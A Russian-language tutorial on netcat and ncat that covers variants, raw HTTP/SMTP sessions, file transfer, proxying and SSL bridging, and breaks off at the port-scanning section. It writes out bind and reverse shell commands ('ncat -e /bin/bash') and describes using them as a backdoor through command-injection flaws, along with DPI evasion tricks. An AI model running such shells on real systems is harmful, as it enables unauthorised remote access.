Как пользоваться netcat (nc), ncat


Оглавление

1. Для чего Netcat

2. Версии Netcat

3. Ncat: ваш универсальный сетевой коннектор

4. Принципы работы Ncat

5. Подключение к HTTP в Ncat

6. Подключение через SSL (HTTPS) в Ncat

7. Режим прослушивания Ncat

8. Запуск команд через ncat

9. Подключение к Ncat если удалённая машина находиться за NAT

10. Как сделать так, чтобы при закрытии клиента Ncat, не отключался сервер Ncat

11. Как передать файлы на удалённый компьютер

12. Как загрузить файл с удалённого компьютера

13. Как сделать веб-сервер с Ncat

14. Как с помощью Ncat получить доступ к службам, доступным только в локальной сети

15. Использование SSH через туннель Ncat

16. Как Ncat превратить в прокси

17. Как разрешить подключение к Ncat с определённых IP

18. Отправка почты

19. Создание цепей последовательной передачи трафика между нескольких Ncat

20. Очистка от SSL


21. Ncat как SSL сервер

22. Сканирование портов

23. Закрепление на удалённой машине

24. Эмуляция диагностических служб

Заключение


Для чего Netcat

Программа Netcat — это полезная сетевая утилита, с помощью которой можно анализировать и моделировать работу многих сетевых протоколов (например, как это делать с HTTP и почтовым протоколом будет показано далее), можно выполнять команды на удалённой машине и закачивать или скачивать с неё файлы, перенаправлять трафик с одного порта на другой или с одной машины на другую. Безусловно, пентестеру (аудитору сетевой безопасности) нужно хорошо разбираться в сетевых протоколах и уметь использовать Netcat в процессе обучения.

Но по-настоящему ценность Netcat для пентестера в том, что это самый настоящий бэкдор! Причём поскольку утилита весьма полезная для администраторов сети, то она во многих системах, в том числе серверах, установлена по умолчанию!!!

Кстати: Если вы попали на эту статью так как вас интересует вопрос, как создать шелл (и что это такое, в чём отличие прямого и обратного шелла), то вам должна больше подойти тема «Как сделать прямой и обратный шелл (бэкдор) с Netcat».

То есть если в веб-приложении найдена уязвимость, к примеру, выполнение произвольных команд уровня системы, то среди разных путей эксплуатации, можно выбрать запуск Netcat, которая, если правильно её запустить, будет выполнять функции полноценного бэкдора, передавая наши команды системе. Причём Netcat имеет два режима: режим прослушивания и режим подключения. Если удалённый компьютер находиться за NAT и нет никакой возможности подключиться к нему напрямую по IP, то Netcat опять придёт на помощь! В режиме подключения она сама подсоединится к вашему компьютеру.

В статье про RouterSploitИнструкция по использованию RouterSploit») в одном из проверяемых роутеров (это был мой собственный роутер) была найдена уязвимость удалённого выполнения команд, правда было ограничение на количество возвращаемой информации — она обрезалась после определённого числа символов. В подобных ситуациях можно использовать Netcat: в качестве команды на уязвимом роутере нужно запустить nc, затем подключиться к нему; в этом случае появится возможность выполнять команды через Netcat без ограничения на количество выводимой информации.

Можно предположить более трудный вариант — когда уязвимость удалённого внедрения команд присутствует, но вывод любых сообщений подавляется. В этом случае вновь удобнее работать через Netcat.

Кстати, Netcat настолько популярна, что по умолчанию присутствует даже в некоторых продвинутых роутерах — в том моём роутере Netcat установлена.

Само собой, использовать Netcat можно не только в деструктивных целях. Эта программа по своему прямому назначению будет очень полезна для сетевых администраторов и веб-мастеров. Например, у меня на виртуальном хостинге Netcat тоже присутствует.

Версии Netcat

Так получилось, что у Netcat много вариантов написанных разными авторами. Оригинальная версия называлась netcat (nc). Она быстро получила признание, но в какой-то момент автор перестал её разрабатывать и, несмотря на её популярность, также никто другой не стал поддерживать. По этой причине программу несколько раз переписывали разные авторы, причём иногда полностью с нуля.

netcat (nc)

Это оригинальная программа, последний выпуск которой состоялся в январе 2007 года. Её версия 1.10.


В некоторых системах, например, в Kali Linux, эта версия называется nc.traditional:

nc.traditional -h

Выведет справку по этой программе и покажет версию [v1.10-41.1]

ncat

Это современный вариант netcat, который написан с нуля, без использования кода оригинальной netcat. Авторами ncat являются авторы знаменитой программы Nmap.

Ncat повторяет практически всю функциональность оригинальной программы и содержит дополнительные функции.

Ncat стала официальной заменой для оригинальной netcat в некоторых дистрибутивах Linux, например, в Red Hat Enterprise Linux, CentOS, которые часто используются в качестве веб-серверов. По этой причине на многих компьютерах в сети вы найдёте именно Ncat — к примеру, на моём виртуальном хостинге в качестве Netcat установлена Ncat.

Ncat поставляется в пакете Nmap и, следовательно, доступна для разных платформ, в том числе для Windows. То есть для установки Ncat на Windows достаточно установить NMap.

В Kali Linux Ncat почему-то содержится в пакетах для архитектуры i386 и не содержится в пакете NMap, поэтому установка выполняется так:

sudo dpkg --add-architecture i386 && sudo apt update
sudo apt install ncat

В Arch Linux, BlackArch и их производные для установки Ncat достаточно установить NMap:

sudo pacman -S nmap

gnu-netcat

GNU версия netcat, как сказано в описании «network piping application».

openbsd-netcat или netcat-openbsd

Вариант от OpenBSD. Как сказано в описании, армейский нож для работы с TCP/IP.

dbd

Ещё один клон Netcat, создан быть портативным и предлагает надёжное шифрование. Он работает на Unix подобных операционных системах и на Microsoft Win32.

sbd

И ещё один клон Netcat, портативный, предлагает надёжное шифрование, среди функций: шифрование AES-128-CBC + HMAC-SHA1, выполнение программ (-e), выбор порта источника, непрерывное переподключение с задержкой и другие возможности.

Или как сказано в другом описании: безопасный бэкдор для Linux и Windows.

cryptcat

Легковесная версия netcat, с добавленным шифрованием twofish.

netrw

Похожий на netcat инструмент с удобными функциями передачи файлов по сети.


webhandler

Обработчик системных функций PHP, а также альтернативный обработчик netcat.

Другие варианты этого классического инструмента включают в себя удивительно универсальный Socat, OpenBSD nc, Cryptcat, Netcat6, pnetcat, SBD и так называемый GNU Netcat.

В некоторых системах модифицированные версии или аналогичные утилиты netcat используют имена команд: nc, ncat, pnetcat, socat, sock, socket, sbd.

Итак, для своей работы вы можете выбрать одну из этих версий, какая вам больше нравится. При поиске интересных программ на чужих машинах, не нужно забывать об альтернативных вариантах, если сама netcat там отсутствует.

В этой инструкции я буду рассматривать преимущественно ncat.

Ncat: ваш универсальный сетевой коннектор

Начнём с описания Ncat взятого с официального сайта, чтобы как можно полнее охватить список возможностей этой программы. А затем мы перейдём к конкретным практическим примерам исходя из разных сценариев использования.

Ncat — это инструмент командной строки общего назначения для чтения, записи, перенаправления и шифрования данных в сети. Он призван стать вашим армейским швейцарским ножом при работе в сети, решающим широкий спектр задач по тестированию безопасности и администрированию. Ncat подходит для интерактивного использования или в качестве подключённого к сети бэкенда для других инструментов. Ncat может:

  • Выступать в качестве простого клиента TCP/UDP/SCTP/SSL для взаимодействия с веб-серверами, серверами Telnet, почтовыми серверами и другими сетевыми службами TCP/IP. Часто лучший способ понять службу (для устранения проблем, поиска уязвимостей в безопасности или тестирования пользовательских команд) — это взаимодействовать с ней с помощью Ncat. Это позволяет вам контролировать каждый отправленный символ и просматривать необработанные, нефильтрованные ответы.
  • Выступать в качестве простого сервера TCP/UDP/SCTP/SSL для предоставления услуг клиентам или просто для понимания того, что делают существующие клиенты, захватывая каждый байт, который они отправляют.
  • Перенаправить или проксировать TCP/UDP/SCTP трафик на другие порты или хосты. Это можно сделать с помощью простого перенаправления (все, что отправлено на порт, автоматически ретранслируется в другое место, указанное вами заранее) или в качестве прокси-сервера SOCKS или HTTP, чтобы клиенты указывали свои собственные назначения. В режиме клиента Ncat может подключаться к адресатам через цепочку анонимных или аутентифицированных прокси.
  • Работать на всех основных операционных системах. Имеются скомпилированные исполнимые файлы для Linux, Windows и Mac OS X, и в целом Ncat может быть скомпилирована на большинстве других систем. Надёжный инструмент должен быть доступен в любое время, независимо от того, какой компьютер вы используете.
  • Шифровать связь с помощью SSL и передавать её по IPv4 или IPv6.
  • Выступать в качестве сетевого шлюза для выполнения системных команд с перенаправлением ввода/вывода в сеть. Программа была разработана, чтобы работать как Unix утилита cat, но для сети.
  • Выступать в качестве посредника соединений, позволяя двум (или даже более) клиентам подключаться друг к другу через третий (посреднический) сервер. Это позволяет нескольким машинам, скрытым за шлюзами NAT, обмениваться данными друг с другом, а также включает режим простого чата Ncat.

Эти возможности становятся ещё более мощными и универсальными в сочетании друг с другом.

Ncat — это современная реинкарнация почтенного инструмента Netcat (nc), выпущенного Хоббит (Hobbit) в 1996 году. Хотя Ncat по духу похож на Netcat, они не имеют общего исходного кода. Вместо этого Ncat использует хорошо оптимизированные и протестированные сетевые библиотеки Nmap. Поддерживается совместимость с исходным Netcat и некоторыми хорошо известными вариантами, когда он не конфликтует с улучшениями Ncat и не вызывает проблем с удобством использования. Ncat добавляет много возможностей, которых нет в оригинальном nc Хоббит, включая поддержку SSL, прокси-соединения, IPv6 и посреднические (брокерские) соединения. Оригинальный nc содержал простой сканер портов, но авторы Ncat не стали добавлять эту функцию.

Принципы работы Ncat

Ncat имеет два основных режима: подключения и прослушивания.

При режиме подключения, программа соединяется с сетевыми службами, среди которых может быть как другой экземпляр запущенной Ncat, так и большинство других сервисов, например, HTTP (веб-сервер), почтовый сервер, FTP сервер, Telnet и так далее.

Второй режим работы Ncat называется «прослушивание». В этом режиме Ncat ожидает подключение от другого хоста. В данном режиме опциями можно включить дополнительные функции, например, сделать так, чтобы Ncat:

  • передавала полученные данные системе в качестве команд для выполнения
  • возвращала подключившемуся хосту файл (выполняла роль веб-сервера или использовалась для скачивания файла с удалённого хоста)
  • перенаправляла запросы на другой порт или адрес
  • работала в качестве прокси

Причём подключиться к Ncat в режиме прослушивания может как другой экземпляр Ncat (например, для передачи команд), так и другая программа — например, веб-браузер для просмотра или скачивания файла, либо другая программа поддерживающая работу через прокси.

Подключение к HTTP в Ncat

При подключении к удалённой службе вы вводите в виде простого текста команды (заголовки) данного протокола. Рассмотрим на примере протокола HTTP.

Подключимся к хосту hackware.ru на порту 80 (это служба HTTP сервера):

ncat -C hackware.ru 80

Кажется, что ничего не произошло:

Но на самом деле перед нами приглашение для ввода данных. Мы будем вводить заголовки протокола HTTP (это как команды, директивы — этими заголовками мы говорим веб-серверу, чего мы от него хотим; также заголовки используются в качестве передатчика метаинформации):

GET / HTTP/1.0
Host: hackware.ru

Обратите внимание, что после последней директивы (Host: hackware.ru) кнопка ENTER нажата дважды.

Сервер прислал нам ответ — HTML код.

Мы отправили правильные с точки зрения протокола HTTP заголовки (запросы). В первом мы указали использовать метод GET, показать главную страницу (/ означает запрос к корневой папке, а можно было бы указать конкретный путь, например, /index.php), и версию протокола HTTP/1.0.

Затем мы использовали директиву Host и вместе с ней указали интересующий нас хост (поскольку запрос делается к удалённому серверу по IP, а на этом IP множество виртуальных хостов). Кстати, можете попробовать сделать этот же запрос без указания хоста или с указанием другого хоста — полученные данные будут другими.

Вместо метода GET можно использовать метод HEAD и, например, сделаем запрос к произвольной странице:

ncat -C hackware.ru 80

Затем:

HEAD /any_page.php HTTP/1.0
Host: hackware.ru

Как можно увидеть, использование метода HEAD приводит к показу только заголовков ответа.

То есть с веб-сервером можно общаться редактируя HTTP директивы посимвольно, отправляя буквально что угодно. В случае, если «на той стороне» роль веб-сервера выполняет какое-нибудь нестандартное решение, то описанным способом можно провести тестирование того, что поддерживает удалённая служба и как реагирует на необычные заголовки и команды протокола.

Также таким способом можно тестировать методы обхода блокировок путём модификации запросов в рамках допустимого протоколом, благодаря чему можно добиться того, что основанные на паттернах системы DPI будут пропускать этот трафик к заблокированным ресурсам. Некоторые такие способы описаны в GoodbyeDPI: замена слова Host в заголовке на hoSt, удаление пробелом между именем заголовка и значением в заголовке Host, добавление лишних пробелов между HTTP методом (GET, POST и т.д.) и URI, смешение регистров значения заголовка Host и т.д. То есть с помощью ncat можно делать низкоуровневые проверки, отладки фильтров сети и работы удалённых служб. Это как Ассемблер, но только для сети.

Причём HTTP приведена просто в качестве примера — можно работать с разными службами у которых заголовки или команды представляют собой простой текст.

Вернёмся к нашей первой команде

ncat -C hackware.ru 80

В простейшем виде команда подключения имеет вид:

ncat ХОСТ_ДЛЯ_ПОДКЛЮЧЕНИЯ ПОРТ

Ещё мы использовали опцию -C, она включает замену CRLF. То есть любые символы конца строки, которые мы вводим, будут заменены на CRLF. В качества конца строки требуется CRLF во многих протоколах, в том числе в HTTP, хотя многие серверы всё равно нормально принимают и обычный символ newline (LF). То есть на самом деле в данном случае можно было бы обойтись и без -C.

Подключение через SSL (HTTPS) в Ncat

Как мы можем увидеть что в первом, что во втором случае нам возвращается код ответа 302 Moved Temporarily — то есть делается редирект на другую страницу:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Connection: close
Location: https://hackware.ru/any_page.php
Date: Tue, 07 May 2019 02:56:40 GMT
X-Page-Speed: 1.13.35.2-0
Cache-Control: max-age=0, no-cache

Как можно понять из директивы Location, нас перенаправляют на HTTPS протокол.

Чтобы в Ncat подключиться по SSL нужно:

  • указать опцию —ssl
  • указать соответствующий номер порта

Для протокола HTTPS портом по умолчанию является 443, поэтому подключаемся следующим образом:

ncat -C --ssl hackware.ru 443

Затем:

GET / HTTP/1.0
Host: hackware.ru

В результате наконец-то нам показан HTML код запрашиваемой страницы:

Режим прослушивания Ncat

В этом режиме программа начинает прослушивать указанный порт в ожидании подключений. Для включения этого режима достаточно указать опцию -l. Опционально можно указать IP адрес интерфейса, на котором выполнять прослушивание (если не указать, то будет сделана привязка ко всем интерфейсам) и порт для прослушивания (если не указать, то по умолчанию используется порт 31337.

Для подключения к серверу, мне нужно будет знать IP адрес удалённого хоста, поэтому начинаю с команды, чтобы узнать его:

curl suip.biz/ip/
185.26.122.50

Запускаем программу на удалённом хосте в режиме прослушивания с привязкой к порту 43210

ncat -l 43210

Кстати, я это делаю в SSH панели с веб доступом своего хостинга — потрясающая штука — работает прямо из личного кабинета:

Теперь с локального компьютера выполняю подключение:

ncat 185.26.122.50 43210

В этом примере и далее я буду использовать IP адрес 185.26.122.50 — очевидно, что в своей работе вам нужно поменять его на IP адрес (или имя хоста) машины, к которой вы выполняете подключение. Ещё я использую порт 43210 — вы можете выбрать любой другой не занятый на удалённой машине порт.

В любом из окон ncat (сервер или клиент) можно вводить текст и он будет отображён в другом окне с подключённым экземпляром ncat.

Суть работы очень проста — из одного окна в другое передаётся введённый текст и выводиться в стандартный вывод — это поведение программы по умолчанию. С помощью других опций можно настроить более интересные варианты деятельности — например, передавать присланный текст в операционную систему для выполнения в качестве команд.

Запуск команд через ncat

С помощью опции -e прослушиващую Ncat можно подключить к программе, которой она будет передавать команды для выполнения. В качестве частного случая в качестве такой команды можно указать "/bin/bash", то есть все переданные строки будут отправляться в оболочку Bash.

На удалённом сервере запускаем Ncat следующим образом:

ncat -l -e "/bin/bash" 43210

И подключаемся с локального компьютера:

ncat 185.26.122.50 43210

В локальной ncat я выполнил:

cd hackware.ru/logs
ls -l

И получил список файлов на удалённом компьютере. То есть команды выполняются по аналогии с SSH.

Для обслуживания веб-сайтов можно прямо в локальной консоли вводить разные команды, например, делать резервные копии, загружать установочные файлы с официальных сайтов прямо на сервер, а не через свой компьютер.

Ну и функции бэкдора тоже заключены в этой же команде — если на сайте присутствует уязвимость, позволяющая выполнять команды уровня системы, то формируется соответствующий запрос к странице, чтобы в результате была запущена ncat с передачей команд в ОС. Затем атакующий подключается уже к серверу (к ncat) напрямую, минуя уязвимый сайт, чтобы отправлять ему команды. Немного дополнительной информации есть в примерах в статье «Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 1)».

Если команды нужно выполнять в Windows системе, то нужно указать следующую опцию: -e cmd.exe


Подключение к Ncat если удалённая машина находиться за NAT

Если удалённая машина находится за NAT, то подключиться к ней невозможно (объяснения этому здесь).

Но с помощью Ncat можно настроить подключение между машинами, одна из которых за NAT. То есть конечный результат будет такой, как будто бы подключились к компьютеру за NAT.

В этом случае опции указываем немного по-другому.

На своём локальном компьютере запускаем

ncat -l 43210

Обратите внимание, что мы включили прослушивание, но не включили передачу команд в оболочку — потому что на локальном компьютере не нужно выполнять никакие команды!

А на удалённом компьютере мы запускаем программу так:

ncat -e "/bin/bash" ХОСТ 43210

В ней вместо ХОСТ должен быть IP адрес или имя хоста локального компьютера, на котором ncat запущена в режиме прослушивания. Также на удалённом компьютере указана опция -e "/bin/bash", которая позволит выполнять присланные команды.

Этим мы добьёмся подключения с компьютером за NAT и возможности выполнять на нём команды.

Как сделать так, чтобы при закрытии клиента Ncat, не отключался сервер Ncat

Если в консоли клиента нажать CTRL+c или CTRL+d, то закроется не только Ncat на локальном компьютере, но и Ncat к которой выполнялось подключение. Если вы хотите чтобы Ncat на сервере не закрывалась, то используйте опцию —keep-open:

ncat -l -e "/bin/bash" --keep-open 43210

Теперь если подключиться к удалённому компьютеру:

ncat 185.26.122.50 43210

А затем закрыть подключение к Ncat в режиме прослушивания, то экземпляр Ncat в удалённой системе продолжит свою работу и можно вновь подключиться к Ncat выступающей в роли сервера.

Как передать файлы на удалённый компьютер

С помощью Ncat можно выгрузить файлы на удалённый сервер. К примеру, мне нужно отправить файл some_stuff.txt. Тогда на сервере (куда будет загружен файл), запускаю:

ncat -l 43210 > some_stuff.txt

А на локальном компьютере (с которого будет выгружен файл) запускаю:

ncat 185.26.122.50 43210 < some_stuff.txt

Когда закончится передача, обе сессии ncat завершаться.

Как загрузить файл с удалённого компьютера

Предположим, мне нужно скачать с удалённого компьютера файл some_stuff.txt. Тогда на сервере я запускаю:

ncat -l 43210 < some_stuff.txt

А на локальном компьютере, куда будет скачен файл, запускаю Ncat следующим образом:

ncat 185.26.122.50 43210 > some_stuff.txt

Обратите внимание, что не будет ничего показано и после загрузки файла оба экземпляра Ncat продолжат работу.

Как сделать веб-сервер с Ncat

На самом деле, это будет веб-сервер одного файла, но, тем не менее, всё-таки это интересная возможность.

Итак, создадим файл hello.http и добавим в него следующее содержимое:

HTTP/1.0 200 OK

<html>
  <body>
    <h1>Hello, world!</h1>
  </body>
</html>

Запустим на сервере Ncat:

ncat -l 43210 < hello.http

В веб-браузере откроем адрес удалённого хоста с указанием порта: http://185.26.122.50:43210

Кстати, ncat на сервере покажет какие именно заголовки прислал веб-браузер:

Ещё один пример из официального мануала по ncat:

nc -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"

Или, если вы пользователь Windows:

ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

Эти команды запустят HTTP сервер, делающий доступным файл index.html из текущей рабочей директории. Чтобы открыть этот файл нужно в браузере посетить страницу http://localhost:8080/. Если вместо -p 8080 указать -p 80, то из URL можно удалить :8080. Обратите внимание, что этот файл будет отправлен независимо от запрошенного URL — чтобы изменить файл, который отправляется, нужно изменить команду Ncat или использовать скрипт httpd.lua.

Как с помощью Ncat получить доступ к службам, доступным только в локальной сети

С помощью уже рассмотренной опции —sh-exec можно любую программу, которая не является сетевой, сделать доступной по сети. Правда, из-за особенностей ввода-вывода (буферизация и всё такое) в интерактивном режиме не все программы будут работать хорошо.

Рассмотрим ещё один вариант: изначально сетевая программа настроена на прослушивание только локального адреса (localhost) и подключиться к ней из вне (с удалённого компьютера) невозможно. Самым распространённым таким примером является СУБД MySQL. Эта служба является сетевой и другие программы (например, обработчик PHP скриптов) связывается с ней по сети. Но многие системные администраторы настраивают MySQL так, чтобы с локального компьютера к ней можно было обратиться, а с удалённого — нет. В результате достигается следующее: веб-сайты, в том числе использующие базы данных MySQL, работают нормально, без изменений, поскольку подключение к MySQL выполняется в любом случае локально; но атакующий уже не может подключиться к MySQL (например, для подбора пароля). Правда, при этом и становится недоступной возможность удалённого обслуживания MySQL и легитимным системным администратором или веб-мастером.

С помощью Ncat можно разрешить эту проблему — вновь на некоторое время сделать MySQL доступной для удалённого подключения. Это достигается умением Ncat перенаправлять трафик.

Начнём с того, что с помощью Whatportis вспомним, какой порт использует MySQL:

whatportis mysql
+-------+------+----------+-------------+
| Name  | Port | Protocol | Description |
+-------+------+----------+-------------+
| mysql | 3306 |   tcp    | MySQL       |
| mysql | 3306 |   udp    | MySQL       |
+-------+------+----------+-------------+

Теперь на сервере, где работает доступная только локально служба, запускаем команду вида:

ncat --sh-exec "ncat КОНЕЧНЫЙ_IP КОНЕЧНЫЙ_ПОРТ" -l ПРОСЛУШИВАЕМЫЙ_ПОРТ --keep-open

Здесь:

  • КОНЕЧНЫЙ_IP — тот адрес, куда будет сделано перенаправление
  • КОНЕЧНЫЙ_ПОРТ — тот порт, на который будет сделано перенаправление
  • ПРОСЛУШИВАЕМЫЙ_ПОРТ — порт на сервере, к которому мы будем подключаться с нашего локального компьютера

Причём в качестве КОНЕЧНЫЙ_IP может выступать локальный адрес, в данном случае я использую 127.0.0.1. Итак, моя команда, которую я запускаю на сервере:

ncat --sh-exec "ncat 127.0.0.1 3306" -l 43210 --keep-open

На своём локальном компьютере я запускаю:

mysql -h IP -u ПОЛЬЗОВАТЕЛЬ -p -P ПОРТ --protocol=tcp

Здесь:

  • IP — адрес сервера, где сетевая служба доступна только локально
  • ПОЛЬЗОВАТЕЛЬ — имя пользователя MySQL
  • ПОРТ — номер порта, который прослушивает ncat
  • Опция -p — означает запросить пароль пользователя
  • —protocol=tcp — означает, что будет использоваться протокол TCP (это не принципиально, можно использовать и UDP — главное, указать соответствующую опцию в ncat, которая умеет работать и с UDP, но по умолчанию использует TCP)

Как видим, всё работает:

Использование SSH через туннель Ncat

С Ncat и OpenSSH вы можете делать SSH подключения к хосту за NAT роутером без необходимости делать форвардинг (проброску) портов на роутере. Роутер должен иметь установленную Ncat. В этой команде показано, как подключиться по SSH к <хосту> через <роутер>:

ssh -o ProxyCommand="ssh -q <роутер> ncat %h %p" <хост>

Опция ProxyCommand в ssh говорит как открыть SSH соединение к <хосту>. Она делает это открывая другую SSH сессию к <роутеру> и подключая его к <хосту> с Ncat.

Если администратор вашего SSH сервера не отключил туннелирование (которое в большинстве конфигураций включено), вы можете использовать встроенный в SSH прокси сервер. Используйте следующую команду для открытия прокси сервера на TCP порту 8080 вашей локальной машины, который туннелирует трафик через SSH соединение:

ssh router -D 8080

Теперь вы можете делать подключения внутри сети используя возможности прокси клиента Ncat. Например, для подключения к хосту с IP адресом 192.168.1.123, то есть за вашим роутером, вы можете использовать следующую команду если вы открыли туннель:

ncat --proxy localhost:8080 --proxy-type socks4 192.168.1.123

Как Ncat превратить в прокси

Свои подключения Ncat может выполнять через прокси, поддерживаются следующие типы: SOCKS 4, SOCKS 5 и HTTP. Подробнее об опциях подключения с прокси вы можете найти на справочной странице Ncat: https://kali.tools/?p=4578

Я предлагаю рассмотреть более интересный вариант — превращение самой Ncat в прокси. В качестве прокси сервера Ncat поддерживает только тип HTTP.

Поддерживается создание HTTP прокси как к аутентификацией, так и без:

ncat -l 3128 --proxy-type http
ncat -l 3128 --proxy-type http --proxy-auth <пользователь>:<пароль>

Здесь:

  • -l — включает режим прослушивания
  • 3128 — означает прослушивать указанный номер порта
  • —proxy-type http — означает выбор типа прокси
  • —proxy-auth <пользователь>:<пароль> — устанавливает учётные данные для авторизации на прокси сервере

К примеру, на своём хостинге я запускаю прокси сервер:

ncat -l 43210 --proxy-type http --proxy-auth user:pass

Теперь в настройках веб-браузера я указываю соответствующий IP и порт, которые прослушивает ncat, также ставлю галочку, чтобы использовать этот прокси для всех соединений:

Открываю сайт где можно проверить свой IP: https://suip.biz/ru/?act=myip

У меня сразу запрашиваются учётные данные для авторизации на прокси:

И вместо моего реального IP теперь показывается адрес моего хостинга, который я с помощью Ncat использую в качестве прокси:

В режиме прослушивания, если не установлен порт, то по-прежнему будет использоваться 31337, а не другие популярные для прокси порты. Прокси поддерживает в веб сёрфинге методы GET, HEAD и POST, а также метод CONNECT, который позволяет туннелировать произвольные TCP соединения (когда Ncat подключается как клиент, она использует CONNECT).

Для HTTP поддерживается Basic и Digest схемы аутентификации, причём как на клиентской, так и на серверной стороне. Digest более безопасна, поэтому если она доступна, то Ncat будет её предпочитать более чем Basic. Сервер предлагает клиентам обе схемы. Basic отправляет учётные данные в открытом виде, а Digest — нет. Реализация Digest в Ncat позволяет атаки повторного воспроизведения (replay attacks) в течение до 10 секунд (с Basic всегда возможна атака повторного воспроизведения и другие атаки).

Предупреждение от авторов Ncat: HTTP proxy поднятый на Ncat разработан таким образом, чтобы не мешать вам и помогать вам создавать временные сетевые подключения. Его не следует использовать как повседневный прокси, открытый для Интернета. Вы можете ограничить, кто может подключаться, используя опции —allow, —deny и —proxy-auth, но это не сильная форма аутентификации. Прокси без аутентификации опасен, поскольку он может быть использован другими в выполнении атак и помочь им избежать обнаружения. Возможность CONNECT особенно опасна, поскольку она включает трафик любого рода, а не только HTTP.

Смотрите подробный пример в статье «Как сделать прокси на виртуальном хостинге».

Как разрешить подключение к Ncat с определённых IP

В Ncat имеется механизм контроля доступа, который позволяет настроить находящуюся в режиме прослушивания Ncat таким образом, что только определённые IP смогут к ней подключаться или определённые IP будут заблокированы для подключения. Это достигается использованием опций:

  • —allow
  • —allowfile
  • —deny
  • —denyfile

Подробности о них смотрите в справке.

Отправка почты

Это ещё один пример, в котором демонстрируется, как может использоваться Ncat для работы с протоколами уровня приложений.

Очень интересно взаимодействовать с текстовыми сетевыми протоколами, используя только Ncat и клавиатуру. Вот короткий пример, показывающий, как отправлять электронную почту, общаясь с SMTP-сервером. SMTP описан в RFC 5321, но вам не нужно много знать о протоколе, чтобы отправить простое сообщение. Номер порта, назначенный сервису, равен 25, и мы используем -C, потому что он требует окончания строки CRLF. Пример содержит стенограмму сеанса.

Пример. Ncat как почтовый клиент:

ncat -C mail.example.com 25
220 mail.example.com ESMTP
HELO client.example.com
250 mail.example.com Hello client.example.com
MAIL FROM:a@example.com
250 OK
RCPT TO:b@example.com
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
From: a@example.com
To: b@example.com
Subject: Greetings from Ncat

Hello. This short message is being sent by Ncat.
.
250 OK
QUIT
221 mail.example.com closing connection

Чтобы этот пример работал для вас, измените mail.example.com на ваш SMTP-сервер и client.example.com на ваше доменное имя. Естественно, вы захотите изменить адреса электронной почты и сообщения тоже. Вероятно, он будет работать только при использовании обычного почтового сервера с вашим реальным адресом электронной почты или при использовании почтового сервера получателя (найдите запись MX для доменного имени в его адресе электронной почты).

Очевидно, что эта техника может быть использована не только для отправки почты. Ncat — отличный интерактивный инструмент отладки для любого текстового протокола. Такая отладка иногда выполняется с помощью команды telnet, потому что она предоставляет что-то вроде необработанного текстового потока. Тем не менее Ncat предлагает несколько преимуществ по сравнению с Telnet. Ncat не печатает ничего, кроме того, что отправлено удаленным хостом. Telnet не подходит для произвольных двоичных данных, потому что он резервирует некоторые байты в качестве управляющих символов. Команда telnet завершается, когда заканчивается её ввод, поэтому вы можете не увидеть, что отправлено с другого конца. И, наконец, telnet не может использовать UDP.

Создание цепей последовательной передачи трафика между нескольких Ncat

Ncat создана работать в потоке ввода и вывода других утилит (pipeline), поэтому естественно, что вывод от одного экземпляра Ncat можно скормить на вводу другого. Далее пример одного из способов отправки файла лога с host1 на host3 через host2:

На хосте host3:

ncat -l > log.txt

На хосте host2:

ncat -l | ncat host3

На хосте host1:

ncat --send-only host2 < log.txt

Возможная проблема с этим методом заключается в том, что он односторонний: хост1 может отправлять на хост3, но хост3 не может отправить что-либо обратно на хост1. В этом случае это не имеет значения, но при желании можно настроить двухстороннюю связь, к примеру:

На хосте host3:

ncat -l > log.txt

На хосте host2:

ncat -l --sh-exec "ncat host3"

На хосте host1:

ncat --send-only host2 < log.txt

Ncat, прослушивающий хост2, после получения соединения создаёт новый Ncat для связи с хостом 3 и соединяет входы и выходы программ, работающих на хосте 1 и хосте 3, вместе. Тот же трюк можно использовать и на локальном хосте. В этом примере перенаправляется локальный порт 8080 на веб-сервер на example.org:

ncat -l localhost 8080 --sh-exec "ncat example.org 80"

Очистка от SSL

Предположим, вам нужно подключиться к серверу IMAP, который требует SSL, но ваш почтовый ридер не поддерживает SSL. Ncat может выступать в качестве зашифрованного моста для соединения клиента и сервера. Вы подключите почтовый клиент к локальному порту, и Ncat перенаправит зашифрованный трафик на сервер. Вот как подключить IMAP (порт 143) на локальном хосте к IMAP через SSL (порт 993) на imap.example.com.

ncat -l localhost 143 --sh-exec "ncat --ssl imap.example.com 993"

Как только это произойдёт, дайте указание почтовому клиенту подключиться к серверу IMAP на локальном хосте.

Этот приём работает для протоколов, которые передают трафик строго между двумя хостами. Он не работает хорошо для HTTP, потому что HTTP обычно знает имена хостов и часто включает в себя несколько хостов.

Ncat как SSL сервер

Выше уже рассмотрена опция использования Ncat в режиме подключения к HTTPS и SSL.

В режиме сервера Ncat также может использовать SSL. Режим сервера предоставляет сертификат, которые клиент при желании может проверить.

Если запустить SSL сервер без опций —ssl-cert —ssl-key, то Ncat автоматически сгенерирует сертификат и 1,024-битный ключ RSA. Конечно, такому сертификату не будет доверять ни одно приложение, выполняющее верификацию сертификатов. В вербальном режиме будет напечатан отпечаток ключа, поэтому при желании вы можете выполнить ручную проверку.

Пример автоматической генерации сертификата:

ncat -v --listen --ssl

Ncat ( https://nmap.org/ncat )
Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
SHA-1 fingerprint: F0:13:BF:FB:2D:AA:76:88:22:60:3E:17:93:29:3E:0E:6B:92:C0:2F

По возможности рекомендуется использовать существующий сертификат и ключ, поскольку он обеспечивает надёжную проверку подлинности сервера. Используйте параметры —ssl-cert и —ssl-key для указания файлов в кодировке PEM. В целях тестирования вы можете создать самозаверенные сертификат и приватный ключ. Если у вас установлен OpenSSL, используйте эту команду:

openssl req -new -x509 -keyout test-key.pem -out test-cert.pem

Для целей проверки сертификата, commonName в сертификате должен соответствовать полному доменному имени (fully qualified domain name) хоста, на котором работает сервер. После генерации этих файлов, запустите сервер:

ncat --listen --ssl --ssl-cert test-cert.pem --ssl-key test-key.pem

Чтобы установить проверенное клиентское соединение, скопируйте файл test-cert.pem куда-нибудь, где клиент сможет получить к нему доступ, затем запустите:

ncat --ssl-verify --ssl-trustfile test-cert.pem

Дополнительные подробности по использованию SSL смотрите в справке.

Сканирование портов

Ncat не поддерживает эту функцию, но оригинальная nc умеет сканировать порты.

Для запуска сканера TCP портов в диапазоне [начальныйПорт] до [конечныйПорт]:

